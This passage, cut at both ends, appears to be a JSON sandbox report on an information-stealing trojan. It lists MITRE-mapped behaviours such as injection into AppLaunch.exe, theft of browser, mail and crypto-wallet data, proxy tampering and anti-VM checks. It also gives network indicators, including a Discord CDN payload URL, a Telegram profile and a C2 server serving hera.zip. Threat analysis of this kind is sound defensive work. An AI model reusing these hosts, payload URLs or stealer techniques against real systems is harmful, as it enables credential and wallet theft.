Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"AppLaunch.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$2b","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$2c","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$2d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"AppLaunch.exe\" called \"HttpOpenRequestA\" (UID: 00000000-00003148)\n \"AppLaunch.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /\" - (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"AppLaunch.exe\" called \"InternetReadFile\" with parameter 1999 (UID: 00000000-00003148)\n \"AppLaunch.exe\" called \"InternetReadFile\" with parameter 1024 (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Network Related","name":"Decrypted SSL network traffic","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1573","relevance":3,"id":"string-102","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Network Related","name":"Found strings related to cloud services domains (possible C&C communication)","description":"\"cdn.discordapp.com\" (Indicator: \"cdn.discordapp.com\"; Source: \"PCAP\")\n \"GET /attachments/1078278032256680010/1078359191359606794/asfdafdsafds.exe HTTP/1.1\nHost: cdn.discordapp.com\nCache-Control: no-cache\" (Indicator: \"cdn.discordapp.com\"; Source: \"SSL_162.159.133.233\")","origin":"File/Memory","mitre_attack_id":"T1567.002","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"\"https://t.me/dionysus_tg\" (Indicator: \"https://\")\n \"https://steamcommunity.com/profiles/76561199482248283\" (Indicator: \"https://\")\n \"https://\" (Indicator: \"https://\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"\"HTTPS traffic to 149.154.167.99 on port 443\"\n \"HTTPS traffic to 162.159.133.233 on port 443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"AppLaunch.exe\" called \"CreateCompatibleBitmap\" (UID: 00000000-00003148)","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"AppLaunch.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00003148)\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00003688)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$2f","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Observed api string:\"FindFirstFileW\" [Source: 00000000-00002600.00000000.67971.00417000.00000004.mdmp]\n Observed api string:\"FindNextFileW\" [Source: 00000000-00002600.00000000.67971.00417000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes (API string)","description":"Observed api string:\"Process32First\" [Source: 00000000-00002600.00000000.67971.00417000.00000004.mdmp]\n Observed api string:\"Process32Next\" [Source: 00000000-00002600.00000000.67971.00417000.00000004.mdmp]\n Observed api string:\"CreateToolhelp32Snapshot\" [Source: 00000000-00002600.00000000.67971.00417000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00002600.00000000.67971.00417000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetEnvironmentVariable API","description":"Observed import api \"GetEnvironmentVariable\" which can \"read the host's architecture\" [Source: mozglue.dll]","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-81","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"AppLaunch.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"$30","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"AppLaunch.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"HUJK8KLM.txt\" - Location: [%APPDATA%\\Microsoft\\Windows\\Cookies\\HUJK8KLM.txt]- [targetUID: 00000000-00003148]\n Dropped file: \"NCNVFJSI.txt\" - Location: [%APPDATA%\\Microsoft\\Windows\\Cookies\\NCNVFJSI.txt]- [targetUID: 00000000-00003148]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"\"90209471126936899486.exe\" has a section named \"UPX0\"\n \"90209471126936899486.exe\" has a section named \"UPX1\"\n \"90209471126936899486.exe\" has a section named \"UPX2\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to detect virtual environment","description":"\"AppLaunch.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0\"; Key: \"PROCESSORNAMESTRING\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-87","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00000000-00002600-38026-383-0040EA2F\n cpuid at 55017-22-1000D9A4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.DLL at 00000000-00002600-38026-59-00401970","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoA@KERNEL32.DLL at 00000000-00002600-38026-117-0040C54C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"From Win32_OperatingSystem\" (Indicator: \"win32_operatingsystem\"; File: \"00000000-00002600.00000000.67971.00417000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$31","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"AppLaunch.exe\" reads file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$32","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$33","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 149.154.167.99 on port 443 is sent without HTTP header\n TCP traffic to 192.124.249.23 on port 80 is sent without HTTP header\n TCP traffic to 78.46.235.109 on port 80 is sent without HTTP header\n TCP traffic to 162.159.133.233 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.0.54 (like Safari/604.1)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"AppLaunch.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"AppLaunch.exe\" marked \"%ALLUSERSPROFILE%\\69869875688645996462331609-wal\" for deletion\n \"AppLaunch.exe\" marked \"%ALLUSERSPROFILE%\\69869875688645996462331609\" for deletion\n \"AppLaunch.exe\" marked \"%ALLUSERSPROFILE%\\66112114382679684932882451-shm\" for deletion\n \"AppLaunch.exe\" marked \"%ALLUSERSPROFILE%\\66112114382679684932882451-wal\" for deletion\n \"AppLaunch.exe\" marked \"%ALLUSERSPROFILE%\\66112114382679684932882451\" for deletion\n \"AppLaunch.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\asfdafdsafds[1].exe\" for deletion\n \"cmd.exe\" marked \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"AppLaunch.exe\" opened \"%ALLUSERSPROFILE%\\69869875688645996462331609\" with delete access\n \"AppLaunch.exe\" opened \"%ALLUSERSPROFILE%\\66112114382679684932882451-shm\" with delete access\n \"AppLaunch.exe\" opened \"%ALLUSERSPROFILE%\\66112114382679684932882451-wal\" with delete access\n \"AppLaunch.exe\" opened \"%ALLUSERSPROFILE%\\66112114382679684932882451\" with delete access\n \"cmd.exe\" opened \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$34","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"AppLaunch.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"AppLaunch.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"AppLaunch.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"AppLaunch.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"AppLaunch.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"AppLaunch.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"AppLaunch.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"AppLaunch.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"90209471126936899486.exe\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"AppLaunch.exe\" wrote bytes \"50471c6c\" to virtual address \"0x7721E324\" (part of module \"WININET.DLL\")\n \"AppLaunch.exe\" wrote bytes \"50471c6c\" to virtual address \"0x706E4028\" (part of module \"WEBIO.DLL\")","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Writes PE header to memory","description":"\".exe wrote PE header bytes (\"MZ\") to a remote process \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\"\n which might be an injection preparation attempt ...","origin":"API Call","mitre_attack_id":"T1055.002","relevance":7,"id":"api-83","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"47/70 Antivirus vendors marked dropped file \"90209471126936899486.exe\" as malicious (classified as \"Trojan.Generic\" with 67% detection rate)\n 47/70 Antivirus vendors marked dropped file \"asfdafdsafds_1_.exe\" as malicious (classified as \"Trojan.Generic\" with 67% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique User-Agent","description":"Found the following User-Agents: Microsoft-CryptoAPI/6.1\n Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.0.54 (like Safari/604.1)","origin":"Network Traffic","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Checks for files associated with bitcoin mining software","description":"\"AppLaunch.exe\" opened file \"%APPDATA%\\Bitcoin\\\" (DesiredAccess: 1048577, OpenOptions: 16417)\n \"AppLaunch.exe\" opened file \"%APPDATA%\\BITCOIN\"","origin":"API Call","relevance":5,"id":"api-46","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"\"AppLaunch.exe\" trying to touch file \"%APPDATA%\\MultiDoge\\\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"$35","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"\"AppLaunch.exe\" trying to open a file \"%LOCALAPPDATA%\\GOOGLE\\CHROME\\USER DATA\"\n \"AppLaunch.exe\" trying to open a file \"%LOCALAPPDATA%\\VIVALDI\\USER DATA\"\n \"AppLaunch.exe\" trying to open a file \"%LOCALAPPDATA%\\COMODO\\DRAGON\\USER DATA\\LOCAL STATE\"\n \"AppLaunch.exe\" trying to open a file \"%LOCALAPPDATA%\\COMODO\\DRAGON\\USER DATA\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"$36","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"63fdb27fcc07d9c4de08c073"},{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}]},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":139,"dropped_files_count":0,"extracted_files_count":17,"files_written_count":31,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":2,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":6,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":3,"contacted_urls_count":5,"http_requests_count":5},"behavior_tags":["asyncrat","blindspider","coldstealer","commodity","criminal","downloader","emberbear","gop","guardianofpeace","hadesbot","informationstealer","modular","netdis","opensource","operationtroy","primitivebear","raccoonstealer","rat","rekram","silentchollima","targeted","targetedcrimeware","vidarstealer","whoisteam","evasive"],"sample_flags":["Network Traffic","Extracted Files","Decrypted SSL traffic"],"sandbox_reports":[{"id":"63fea60ba35e118e520075eb","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Zusy","contacted_countries":["DEU","GBR","USA"],"submit_name":"b5b6c61866f1fa1ac5dfb9c2e93888ba463c56d39d535576f46eefac70a4e5d6","analysis_start_time":"2023-03-01T01:10:37+00:00","indicators_count":{"informative":86,"suspicious":52,"malicious":17},"tags":["Network Traffic","Extracted Files","Decrypted SSL traffic"],"is_in_unified_schema":true},{"id":"63fdb27fcc07d9c4de08c073","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Zusy","submit_name":"setup.exe","analysis_start_time":"2023-02-28T07:51:27+00:00","indicators_count":{"informative":25,"suspicious":11,"malicious":5},"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"address":"192.124.249.23","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"address":"78.46.235.109","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"address":"162.159.133.233","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}],"dns_resolutions":[{"domain":"cdn.discordapp.com","address":"162.159.133.233","ttl":300,"country":"United States","registrar_name":"ENOM, INC.","registrar_organization":"HAMMER & CHISEL INC.","registrar_name_servers":"GABE.NS.CLOUDFLARE.COM","registrar_creation_date":"2015-02-26T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"domain":"ocsp.godaddy.com","address":"192.124.249.23","ttl":615,"country":"United States","registrar_name":"LIQUIDNET LTD.","registrar_organization":"Go Daddy Operating Company, LLC","registrar_name_servers":"A1-245.AKAM.NET","registrar_creation_date":"1999-03-02T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"domain":"t.me","address":"149.154.167.99","ttl":161,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]}],"http_requests":[{"host":"ocsp.godaddy.com","host_ip":"192.124.249.23:80","url":"//MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D","method":"GET","header":"GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"host":"ocsp.godaddy.com","host_ip":"192.124.249.23:80","url":"//MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D","method":"GET","header":"GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"host":"ocsp.godaddy.com","host_ip":"192.124.249.23:80","url":"//MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCxJlJbiuuimg%3D%3D","method":"GET","header":"GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCxJlJbiuuimg%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"host":"78.46.235.109","host_ip":"78.46.235.109:80","url":"/","method":"GET","header":"GET / HTTP/1.1\nX-Id: 44695974b686fb6a0820a41ad955f8f2\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.0.54 (like Safari/604.1)\nHost: 78.46.235.109","sources":[{"report_type":"sandbox","report_id":"63fea60ba35e118e520075eb"}]},{"host":"78.46.235.109","host_ip":"78.46.235.109:80","url":"/hera.zip","method":"GET","header":"GET /hera.zip HTTP/1.1\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.0.54 (like Safari/604.1)\nHost: 78.46.235.109\nCache-Control: 